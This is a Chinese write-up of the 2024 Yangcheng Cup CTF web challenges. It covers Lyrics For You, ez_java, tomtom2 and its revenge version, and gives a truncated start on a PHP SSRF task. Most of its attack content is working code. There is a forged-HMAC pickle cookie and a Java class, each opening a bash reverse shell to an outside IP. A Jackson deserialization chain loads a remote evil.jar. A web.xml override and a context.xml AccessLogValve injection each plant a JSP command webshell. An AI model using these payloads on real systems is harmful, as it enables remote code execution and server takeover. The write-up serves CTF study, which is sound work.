羊城杯2024web方向题解与复现


8.27偶遇粤港澳大湾区羊城杯,全是知识盲区强如战神,拼尽全力无法战胜。

还是太菜了,这里给出官方的羊城杯复现环境:

1
2
3
4
5
6
7
8
9
10
11
12
13
赛题复现环境:
PWN-xlogger:139.155.126.78:36422
PWN-xhttpd: 139.155.126.78:33002
PWN-xtravel:139.155.126.78:39702
PWN-xpstack: 139.155.126.78:35475
WEB-ez_java:139.155.126.78:34007
WEB-Lyrics For You: 139.155.126.78:33899
WEB-tomtom2:139.155.126.78:33157
WEB-网络照相馆:139.155.126.78:32201
WEB-tomtom2_revenge: 139.155.126.78:37596
DS-data-analy1:139.155.126.78:38467
DS-data-analy2:139.155.126.78:31076
DS-data-analy3:139.155.126.78:34321

锐评一下web,出的都很有意思,ez_java我觉得挺好玩,但是也挺折磨的,当时没打通,放置了半个晚上回去用同样的payload打通了,百思不得其解。lyrics for you 这题还行,学弟们做的七七八八,我负责收尾工作写payload。 tomtom2和他的revenge题没有怎么看,因为前面说了被ez_java卡了半个晚上。拼尽全力制作出它的非预期解,这两题都出在我的知识盲点上了,比较可以拿来学习。照相馆根本没看,故不做评价,除了非预期比较难绷。

Lyrics for you

发现似乎是直接读文件,尝试任意文件读取:

可行,尝试读flag:

不行,换个思路读app,我们要知道app运行在了哪个地方,先读/proc/1/cmdline

读到app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import os
import random

from config.secret_key import secret_code
from flask import Flask, make_response, request, render_template
from cookie import set_cookie, cookie_check, get_cookie
import pickle

app = Flask(__name__)
app.secret_key = random.randbytes(16)


class UserData:
def __init__(self, username):
self.username = username


def Waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word.lower() in data.lower():
valid = True
break
return valid


@app.route("/", methods=['GET'])
def index():
return render_template('index.html')


@app.route("/lyrics", methods=['GET'])
def lyrics():
resp = make_response()
resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
query = request.args.get("lyrics")
path = os.path.join(os.getcwd() + "/lyrics", query)

try:
with open(path) as f:
res = f.read()
except Exception as e:
return "No lyrics found"
return res


@app.route("/login", methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form["username"]
user = UserData(username)
res = {"username": user.username}
return set_cookie("user", res, secret=secret_code)
return render_template('login.html')


@app.route("/board", methods=['GET'])
def board():
invalid = cookie_check("user", secret=secret_code)
if invalid:
return "Nope, invalid code get out!"

data = get_cookie("user", secret=secret_code)

if isinstance(data, bytes):
a = pickle.loads(data)
data = str(data, encoding="utf-8")

if "username" not in data:
return render_template('user.html', name="guest")
if data["username"] == "admin":
return render_template('admin.html', name=data["username"])
if data["username"] != "admin":
return render_template('user.html', name=data["username"])


if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
app.run(host="0.0.0.0", port=8080)

关键逻辑就是/board,能进行一个pickle,pickle存在了cookie里,并且对cookie进行了check。这里本地pip install没有找到cookie这个module,可以推测cookie是自己写的一个实现。查看cookie.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import base64
import hashlib
import hmac
import pickle

from flask import make_response, request

unicode = str
basestring = str


# Quoted from python bottle template, thanks :D

def cookie_encode(data, key):
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg


def cookie_decode(data, key):
data = tob(data)
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
return pickle.loads(base64.b64decode(msg))
return None


def waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word in data:
valid = True
# print(word)
break
return valid


def cookie_check(key, secret=None):
a = request.cookies.get(key)
data = tob(request.cookies.get(key))
if data:
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
res = base64.b64decode(msg)
if waf(res):
return True
else:
return False
return True
else:
return False


def tob(s, enc='utf8'):
return s.encode(enc) if isinstance(s, unicode) else bytes(s)


def get_cookie(key, default=None, secret=None):
value = request.cookies.get(key)
if secret and value:
dec = cookie_decode(value, secret)
return dec[1] if dec and dec[0] == key else default
return value or default


def cookie_is_encoded(data):
return bool(data.startswith(tob('!')) and tob('?') in data)


def _lscmp(a, b):
return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)


def set_cookie(name, value, secret=None, **options):
if secret:
value = touni(cookie_encode((name, value), secret))
resp = make_response("success")
resp.set_cookie("user", value, max_age=3600)
return resp
elif not isinstance(value, basestring):
raise TypeError('Secret key missing for non-string Cookie.')

if len(value) > 4096:
raise ValueError('Cookie value to long.')


def touni(s, enc='utf8', err='strict'):
return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)

有了源码之后我们就能够自定义cookie了,关键就是secret在哪。

可以看到app.py里的secret_code是从config.secret_key里导入的,可以得出路径在/usr/etc/app/config/secret_key.py里:

1
secret_code = "EnjoyThePlayTime123456"

接下来只需要按照cookie.py里的加密逻辑加密我们的pickle即可,由于无回显,打反弹shell,记得waf过滤了R

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126

import base64
import hashlib
import hmac
import pickle

from flask import make_response, request

unicode = str
basestring = str

# Quoted from python bottle template, thanks :D

def cookie_encode(data, key):
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg

def cookie_decode(data, key):#key=secret
data = tob(data)
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
return pickle.loads(base64.b64decode(msg))
return None

def waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word in data:
valid = True
# print(word)
break
return valid

def cookie_check(key, secret=None):
a = request.cookies.get(key)
data = tob(request.cookies.get(key))
if data:
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
res = base64.b64decode(msg)
if waf(res):
return True
else:
return False
return True
else:
return False

def cookie_check(key, value, secret=None):
a = key
data = tob(value)
if data:
print(1)
if cookie_is_encoded(data):
print(2)
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
print(3)
res = base64.b64decode(msg)
print(res)
if waf(res):
print(4)
return True
else:
return False
return True
else:
return False

def tob(s, enc='utf8'):
return s.encode(enc) if isinstance(s, unicode) else bytes(s)

def get_cookie(key, default=None, secret=None):
value = request.cookies.get(key)
if secret and value:
dec = cookie_decode(value, secret)
return dec[1] if dec and dec[0] == key else default
return value or default
def get_cookie(key, value, default=None, secret=None):
if secret and value:
dec = cookie_decode(value, secret)
return dec[1] if dec and dec[0] == key else default
return value or default

def cookie_is_encoded(data):
return bool(data.startswith(tob('!')) and tob('?') in data)

def _lscmp(a, b):
return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)

def set_cookie(name, value, secret=None, **options):
if secret:
value = touni(cookie_encode((name, value), secret))
# resp = make_response("success")
# resp.set_cookie("user", value, max_age=3600)
# return resp
return value
elif not isinstance(value, basestring):
raise TypeError('Secret key missing for non-string Cookie.')

if len(value) > 4096:
raise ValueError('Cookie value to long.')

def touni(s, enc='utf8', err='strict'):
return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)

res = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/106.52.94.23/2333 0>&1"'
o.'''

print(set_cookie("user", res, secret="EnjoyThePlayTime123456"))
#!+I52x1zs1xPYp+dvH1prxw==?gAWVUwAAAAAAAACMBHVzZXKUQ0YoY29zCnN5c3RlbQpTJ2Jhc2ggLWMgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTA2LjUyLjk0LjIzLzIzMzMgMD4mMSInCm8ulIaULg==
#print(cookie_decode("!wrOrGvOq04P1y+tIAmefFQ==?gAWVhAAAAAAAAACMBHVzZXKUQ3djYnVpbHRpbnMKZ2V0YXR0cgooY2J1aWx0aW5zCmRpY3QKUydnZXQnCnRSKGNidWlsdGlucwpnbG9iYWxzCih0UlMnX19idWlsdGluc19fJwp0UnAwCmNidWlsdGlucwpnZXRhdHRyCihnMApTJ2V2YWwnCnRSLpSGlC4=", "EnjoyThePlayTime123456"))
#data = get_cookie("user", value="!wrOrGvOq04P1y+tIAmefFQ==?gAWVhAAAAAAAAACMBHVzZXKUQ3djYnVpbHRpbnMKZ2V0YXR0cgooY2J1aWx0aW5zCmRpY3QKUydnZXQnCnRSKGNidWlsdGlucwpnbG9iYWxzCih0UlMnX19idWlsdGluc19fJwp0UnAwCmNidWlsdGlucwpnZXRhdHRyCihnMApTJ2V2YWwnCnRSLpSGlC4=", secret="EnjoyThePlayTime123456")

#if isinstance(data, bytes):
# a = pickle.loads(data)
# data = str(data, encoding="utf-8")
# print(a)
#
# print(cookie_check("user", value="!+I52x1zs1xPYp+dvH1prxw==?gAWVUwAAAAAAAACMBHVzZXKUQ0YoY29zCnN5c3RlbQpTJ2Jhc2ggLWMgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTA2LjUyLjk0LjIzLzIzMzMgMD4mMSInCm8ulIaULg==", secret="EnjoyThePlayTime123456"))

直接往/board里打cookie即可,这样shell就能弹过来了:

ez_java

最拖时间的题目,传统美德。

拿到源码一眼顶针打jackson,但是能用的链子全部被ban,包括能够触发jackson的链子也都断了。

给了一个userBean,盲猜有用,发现userBean里定义了一个去奇怪的函数getGift,是一个getter,能够用jackson触发。

尝试用jrmp,但是不行。本来就没有办法,如果用jrmp随便就能打穿的话这题就没啥意义了。

似乎没啥出路了,这里只能去搜一下addurl是干啥的,没想到让我找到了一篇新文章:https://xz.aliyun.com/t/11837?time__1311=Cq0xuD07itdeqGNen%3DDRDAO73Dk0dFeW4D#toc-2

真的很像了,卧槽,都是这个addURL来打的。通过addURL加载远程类从而进行rce。

这边就有新思路了:

Jackson -> getter -> getGift加载远程jar包

但是怎么打jackson呢?

https://blog.csdn.net/uuzeray/article/details/139222583

Z3r4y师傅的京麟ctf里看见了个新路线:

抄它的代码:

但是连不上vps,没打成功,哪出问题了呢?

这里卡了我很长很长时间,绷不住了。jar包里readObject和static都分别试过了,就是没合在一起试,真tm的出生。

jar包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.io.Serializable;

public class evil implements Serializable {
static {
try{
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41Mi45NC4yMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}");
} catch (Exception e){

}
}
public evil() throws Exception {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41Mi45NC4yMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}");
}

}

idea里编译成.class文件后再去用jar直接打包成.jar

1
jar -cvf evil.jar evil.class

先按先知那篇文章的打法用jackson触发getterjar包加载进classpath里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package com.Err0r233;

import com.example.ycbjava.bean.User;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.sql.Connection;
import java.sql.DriverManager;
import java.util.Base64;
import java.util.Vector;

public class test2 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass node = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod wr = node.getDeclaredMethod("writeReplace");
node.removeMethod(wr);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
node.toClass(classLoader, null);
User user = new User("url:http://106.52.94.23:6001/evil.jar","123");
POJONode pojoNode = new POJONode(user);

EventListenerList eventListenerList = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getValue(manager, "edits");
vector.add(pojoNode);
setValue(eventListenerList, "listenerList", new Object[]{InternalError.class, manager});

base64encode_exp(eventListenerList);
Deserialize("rO0ABXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdLE2xn2E6tZEAwAAeHB0ABdqYXZhLmxhbmcuSW50ZXJuYWxFcnJvcnNyABxqYXZheC5zd2luZy51bmRvLlVuZG9NYW5hZ2Vy4ysheUxxykICAAJJAA5pbmRleE9mTmV4dEFkZEkABWxpbWl0eHIAHWphdmF4LnN3aW5nLnVuZG8uQ29tcG91bmRFZGl0pZ5QulPblf0CAAJaAAppblByb2dyZXNzTAAFZWRpdHN0ABJMamF2YS91dGlsL1ZlY3Rvcjt4cgAlamF2YXguc3dpbmcudW5kby5BYnN0cmFjdFVuZG9hYmxlRWRpdAgNG47tAgsQAgACWgAFYWxpdmVaAAtoYXNCZWVuRG9uZXhwAQEBc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAGRzcgAsY29tLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuUE9KT05vZGUAAAAAAAAAAgIAAUwABl92YWx1ZXQAEkxqYXZhL2xhbmcvT2JqZWN0O3hyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc3IAHWNvbS5leGFtcGxlLnljYmphdmEuYmVhbi5Vc2Vyz86z8HK2h4oCAANMAARnaWZ0dAASTGphdmEvbGFuZy9TdHJpbmc7TAAIcGFzc3dvcmRxAH4AE0wACHVzZXJuYW1lcQB+ABN4cHB0AAMxMjN0ACV1cmw6aHR0cDovLzEyNy4wLjAuMTo4MDAwL2V2aWwzLmNsYXNzcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBweAAAAAAAAABkcHg=");
Class.forName("org.mariadb.jdbc.Driver");
Connection con = DriverManager.getConnection("jdbc:mariadb://localhost:3306/ez_java?serverTimezone=GMT%2B8", "javauser", "password");

}
public static Field getField(final Class<?> clazz, final String fieldName){
Field field = null;
try{
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (Exception e){
if(clazz.getSuperclass() != null){
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
public static Object getValue(Object obj, String name) throws Exception{
Field field = getField(obj.getClass(), name);
return field.get(obj);
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void base64encode_exp(Object obj) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
objectOutputStream.writeObject(obj);
objectOutputStream.close();
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
}
public static void Deserialize(String s) throws Exception{
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(s));
ObjectInputStream objectInputStream = new ObjectInputStream(bais);
objectInputStream.readObject();
objectInputStream.close();
}
}

这样,然后往/ser里打这个payload。这样能把evil.jar加载进去。然后再直接反序列化触发evil里的readObject就可以了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class exp2 {
public static void main(String[] args) throws Exception {
evil ev1l = new evil();
base64_exp(ev1l);
}
public static void base64_exp(Object obj) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
objectOutputStream.writeObject(obj);
objectOutputStream.close();
System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
}
}

第二次发上面这个的exp,shell就能弹过来了:

tomtom2

这个题目给了一个/read路由,从/read路由里能够读取到xml,从他给的/env路由里可以得到当前tomcat的存放路径存放在/opt/tomcat,问题是只限定读取.xml后缀文件。

说到读取xml,第一时间想到了读取web.xml,但是提示非法的文件名。说明我们不能够读取web.xml。所以只能换个思路读取

在tomcat下,它的配置文件共有4个:

  • context.xml
  • web.xml
  • server.xml
  • tomcat-users.xml

留个伏笔,先讲一下这四个xml是来干嘛的:

web.xml

web.xml是应用程序描述文件。在java工程中,web.xml用来初始化工程配置信息,例如欢迎页,错误页等。在我看来基本上就是用于配置web路由的,一个最普通的样例web.xml如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"
version="3.0">

<servlet>
<servlet-name>hello</servlet-name>
<servlet-class>io.github.hengyunabc.HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>hello</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>

<welcome-file-list>
<welcome-file>index.html</welcome-file>
</welcome-file-list>
</web-app>

这里定义了servlet-mapping也就是我们的映射。<servlet-mapping>标签下定义的<servlet-name>内容就是我们<servlet>标签下对应的<servlet-name>,代表着用该对应名字的servlet进行处理。

<servlet-mapping>标签下的<url-pattern>内容代表着映射到xxx下。<servlet>标签下的<servlet-class>的内容代表着使用某个类下的内容进行处理。(是写好的自定义servlet处理方式或者是官方的servlet配置)

如果我们需要添加一个新映射,就可以通过修改web.xml进行,并且一旦文件被修改了,就会立刻重新加载这个文件而不用重启服务器。

server.xml & context.xml

context.xml是tomcat公用的上下文环境配置。

context.xml的基本结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?xml version="1.0" encoding="UTF-8"?>
<Context>
<!-配置全局参数,例如设置默认语言、编码等 -->
<Parameter>
...
</Parameter>
<!-配置监听器 -->
<Listener>
...
</Listener>
<!-配置过滤器 -->
<Filter>
...
</Filter>

<!-- 配置Valve组件 -->
<Valve />

<!-配置Servlet -->
<Servlet>
...
</Servlet>
<!-配置Servlet映射 -->
<ServletMapping>
...
</ServletMapping>
<!-配置JSP页面 -->
<JspConfig>
...
</JspConfig>
<!-配置错误页面 -->
<ErrorPage>
...
</ErrorPage>
<!-配置资源加载 -->
<Resources>
...
</Resources>
</Context>

可以看到还是能够配置servlet以及映射的。

这里讲一下一个比较特别的valve组件,给出的示例是利用valve来写记录日志:

1
2
3
4
5
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="/web/www/logs" 
prefix="www_access." suffix=".log"
pattern="%h %l %u %t "%r" %s %b" />

<!-- 定义一个Valve组件,用来记录tomcat的访问日志,日志存放目录为:/web/www/logs如果定义为相对路径则是相当于$CATALINA_HOME,并非相对于appBase,这个要注意。定义日志文件前缀为www_access.并以.log结尾,pattern定义日志内容格式,具体字段表示可以查看tomcat官方文档 -->

如果需要记录user-agent只需要改pattern即可:

1
2
3
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="/web/www/logs" 
prefix="asd" suffix=".jsp"
pattern="%{User-Agent}i" />

可以看到这里记录了我们的ua头,并且页面的后缀是jsp,如果我们的ua头里面记录的jsp的代码,就可以被写入到这个/web/www/logs/asd.jsp下。

server.xml也是对tomcat的服务器设置,可以进行端口号设置,添加虚拟机,添加各种listener、filter、valve等组件。

server.xml和context.xml的区别在于,context.xmlweb.xml一样,一旦文件被修改了,**就会立刻重新加载这个文件而不用重启服务器。**而server.xml是不可动态重新加载的资源,服务器一旦启动后,要修改这个文件就只能够重启服务器进行重新加载。

tomcat-users.xml

可以查看tomcat的账号密码,默认是注释掉的,要把注释去掉才能生效。

回到本题

这题让我们读取xml文件,禁读web.xml,并且有一个需要登录的路由,不难想到让我们先读tomcat-users.xml获取到tomcat的账号密码。

1
2
admin
This_is_my_favorite_passwd

登录成功后就跳转到了上传,不知道有什么用,burp抓包发现了个path参数

并且测试发现只允许上传xml后缀的文件

默认是/uploads/

不知道在哪,等下试试。应该是/myapp/uploads/xxx

还真是,看着能传到任意位置。

搜一下tomcat文件上传+xml

第一个github

看一下这个例题(在github里是通过修改web.xml):RWCTF2022 DesperateCat

找了y4神的博客:

https://blog.csdn.net/solitudi/article/details/122678827

web.xml,能覆盖吗?

如果能覆盖就能够重新加载jar包,但是我们也写不了jar包。

先试试吧,而且由于题目不给读web.xml,我们不知道能不能覆盖成功,随便写点123,如果成功了tomcat应该会崩溃?

能传,但是不知道能不能覆盖成功,按道理来说应该是可以的,能写入。

只能写web.xml,能干吗呢?

只能传xml,如果文件上传是jsp就好了,对应php里只能传一个png文件但是要你rce。

有没有啥办法能让xml解析成jsp?

https://blog.csdn.net/allway2/article/details/110441243

奇怪的东西,标题是将.jsp改成.php,好像是将/tomcatpool.jsp -> /tomcatpool.php,但实际上应该还是jsp解析。

那反过来说就是说php -> jsp

我们要定义一个servlet来解析jsp啊,服了。有没有现成的jsp处理器

https://tomcat.apache.org/tomcat-8.0-doc/api/org/apache/jasper/servlet/JspServlet.html

还真有:

1
2
org.apache.jasper.servlet.JspServlet
//The JSP engine (a.k.a Jasper). The servlet container is responsible for providing a URLClassLoader for the web application context Jasper is being used in. Jasper will try get the Tomcat ServletContext attribute for its ServletContext class loader, if that fails, it uses the parent class loader. In either case, it must be a URLClassLoader.

可以改一下web.xml了,注意这里是常规的web.xml对servlet的定义:

1
2
3
4
5
6
7
8
<servlet>
<servlet-name>jspjsp</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>jspjsp</servlet-name>
<url-pattern>*.xml</url-pattern>
</servlet-mapping>

把它修改成web.xml,这里随便找了一个示例demo的web.xml:

https://github.com/hengyunabc/executable-embeded-tomcat-sample/blob/master/src/main/resources/WEB-INF/web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"
version="3.0">

<servlet>
<servlet-name>jspjsp</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>jspjsp</servlet-name>
<url-pattern>*.xml</url-pattern>
</servlet-mapping>
</web-app>

试试把web.xml覆盖

好像可以了,这里放上上传后的对比图,发现原本报错的页面能够正常解析了:

看看能不能解析jsp了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Jsp</title>
</head>
<body>

<%
System.out.println("test jsp");

double number = Math.random();
%>

<p>
Math.random():
<%=number%>
</p>

</body>
</html>

出了!

接下来只需要找一个jsp webshell即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>

<%


Runtime runtime = Runtime.getRuntime();


//Process process = runtime.exec("whoami");
Process process = runtime.exec(request.getParameter("cmd"));


InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));


String line;
while ((line = reader.readLine()) != null) {
out.println(line + "<br>");
}

%>

tomtom2-revenge

tomtom2阻止我们读取web.xml,但是能够意外地覆盖掉web.xml,所以该revenge题针对web.xml进行了过滤,我们不能够再上传并且覆盖web.xml了。

对于这四个xml,我们就剩下server.xmlcontext.xml没有用了,其中server.xml不能够进行热加载,所以希望只能够放在覆写context.xml

还记得我们的valve组件吗,通过覆写context.xml添加valve记录我们的ua头到一个.jsp文件,其中该jsp文件记录下我们的恶意ua头即可执行任意命令。

恶意context.xml:

1
2
3
4
5
<Context>
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="/opt/tomcat/webapps/myapp"
prefix="asd" suffix=".jsp"
pattern="%{User-Agent}i" />
</Context>

注意生成的日志文件名字应该为:

1
prefix.Y-M-D.suffix

在这里,比如你是2024-8-28生成的日志,则日志名字:

1
asd.2024-8-28.jsp

由于放在了/myapp下,所以通过/myapp/asd.2024-8-28.jsp访问就能记录下你的ua头。

设置ua头,注意,由于ua头会对引号进行自动转义,包括unicode的转义符号,所以我们的webshell是不能够出现引号的:

1
User-Agent: <%= new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter(request.getParameterMap().keySet().toArray(new String[0])[0])).getInputStream()).useDelimiter(request.getParameter(request.getParameterMap().keySet().toArray(new String[0])[1])).next() %>

这里需要定义Delimiter,一般在我们的java里都是用\\A。并且获取到我们的传参键值对。第一个键值对作为exec的内容,第二个键值对作为delimiter因此再往jsp传值:

1
cmd=xxx&1=\A

这里\要urlencode一下:

1
cmd=xxx&1=\\A

网络照相馆

题目提示:

注意hash_file函数

能够通过/url.php进行ssrf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
//error_reporting(0);
include_once 'function.php';
include_once 'sql.php';

$baseDir "data/";

if(isset($_POST['url']))
{
    $url $_POST['url'];
    $parse parse_url($url);
    if(!isset($parse['host']))
    {
        die("url错误!");
    }
    $data curl($url);
    $filename $baseDir .  get_filename(8);
    file_put_contents($filename $data);
    if (check($conn$filename$url)){
        file_put_contents($filename $data);
        $sql "INSERT INTO `data`(`url`,`filename`) VALUES (?, ?)";
        if($stmt mysqli_prepare($conn$sql)){
            mysqli_stmt_bind_param($stmt"ss"$url$filename);
            mysqli_stmt_execute($stmt);
        }
    }
    else{
        unlink($filename);
    }
    echo $data;
}
?>

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

function curl($url){
    $curl curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_HEADER, 0);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    $tmpInfo curl_exec($curl);
    curl_close($curl);
    return $tmpInfo;
}

function get_filename($len){
    $chars "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
    $var_size strlen($chars);
    $res '';
    for$x 0$x $len$x++ ) {
        $random_str$charsrand0$var_size 1 ) ];
        $res .= $random_str;
    }
    $res date("Y-m-d"). '_' . $res '.txt';
    return $res;
}

function check($conn $filename$url){
    $sql "SELECT filename from data where url = '$url'";
    $result $conn->query($sql);
    if ($result) {
        $row mysqli_fetch_all($result);
        foreach $row as $value){
            ifhash_file('md5'$filename) === hash_file('md5'$value[0])){
                return false;
            }
        }
    }
    return true;
}

结合提示可以得到应该是hash_file的猫腻。结合任意文件读取+hash_file,可以想到是通过glibc溢出漏洞来rce:

